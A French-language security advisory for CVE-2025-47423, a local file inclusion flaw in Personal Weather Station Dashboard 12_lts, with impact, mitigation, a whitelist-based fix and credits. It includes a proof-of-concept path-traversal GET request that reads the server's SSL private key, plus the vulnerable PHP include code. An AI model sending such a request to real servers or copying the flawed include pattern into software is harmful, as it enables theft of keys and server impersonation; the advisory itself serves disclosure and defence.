CVE-2025-47423 – Inclusion locale de fichiers dans Personal Weather Station Dashboard (12_lts)

Découvert par : Matthew Eagle
Statut : Divulgation publique
Date de signalement : 2025-05-05
ID CVE : CVE-2025-47423

🧩 Résumé

Une vulnérabilité d'inclusion locale de fichiers (LFI) dans le Personal Weather Station Dashboard version 12_lts permet à des attaquants distants non authentifiés de lire des fichiers arbitraires sur le serveur. L'exploitation de cette faille permet d'accéder à des fichiers sensibles, y compris des clés SSL privées, compromettant potentiellement la confidentialité et l'intégrité des connexions HTTPS.

🛠 Composant affecté

• Fichier : /others/_test.php
• Paramètre vulnérable : test (via GET)

📈 Impact

Cette faille permet aux attaquants distants de :

• Lire des fichiers arbitraires sur le système de fichiers
• Exposer des clés SSL privées (par exemple, server.key)
• Effectuer des attaques de type homme du milieu (MITM)
• Usurper l'identité du serveur HTTPS

CVSS : 5.8 Moyen

💥 Preuve de concept (PoC)

GET /others/_test.php?test=../../../apache/conf/ssl.key/server.key HTTP/1.1
Host: www.example.com

Réponse :

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAs2omMqKSB+lm7xu9Nu3C5...
...TRUNCATED...
-----END RSA PRIVATE KEY-----

🧪 Code vulnérable (simplifié)

$script = trim($_GET['test']);
$script = str_replace('../','',$script);
include($script);

La fonction str_replace est insuffisante pour empêcher le parcours de répertoire.

🔐 Correction sécurisée

• Utiliser une liste blanche stricte pour les cibles d'inclusion
• Nettoyer l'entrée avec basename() et vérifier par rapport aux fichiers autorisés
• Éviter l'inclusion dynamique basée sur l'entrée utilisateur

$allowed_tests = ['index.php', 'module_test.php'];
$script = isset($_GET['test']) ? basename($_GET['test']) : 'index.php';

if (!in_array($script, $allowed_tests)) {
    die("Invalid test file.");
}

include(__DIR__ . '/scripts/' . $script);

📅 Chronologie

🧠 Atténuation

Si vous utilisez Personal Weather Station Dashboard 12_lts, vous devez :

• Supprimer ou mettre à jour immédiatement _test.php
• Mettre en œuvre le script corrigé avec une liste blanche de fichiers
• Renouveler et réémettre tout certificat TLS compromis

🧾 Références

• CVE-2025-47423 sur MITRE (en attente)
• Avis publié sur GitHub

🙏 Crédit

Vulnérabilité découverte et divulguée de manière responsable par Matthew Eagle
Contact : [email protected]

Divulgation coordonnée conformément aux directives de divulgation responsable. Ce document est publié à des fins éducatives et défensives.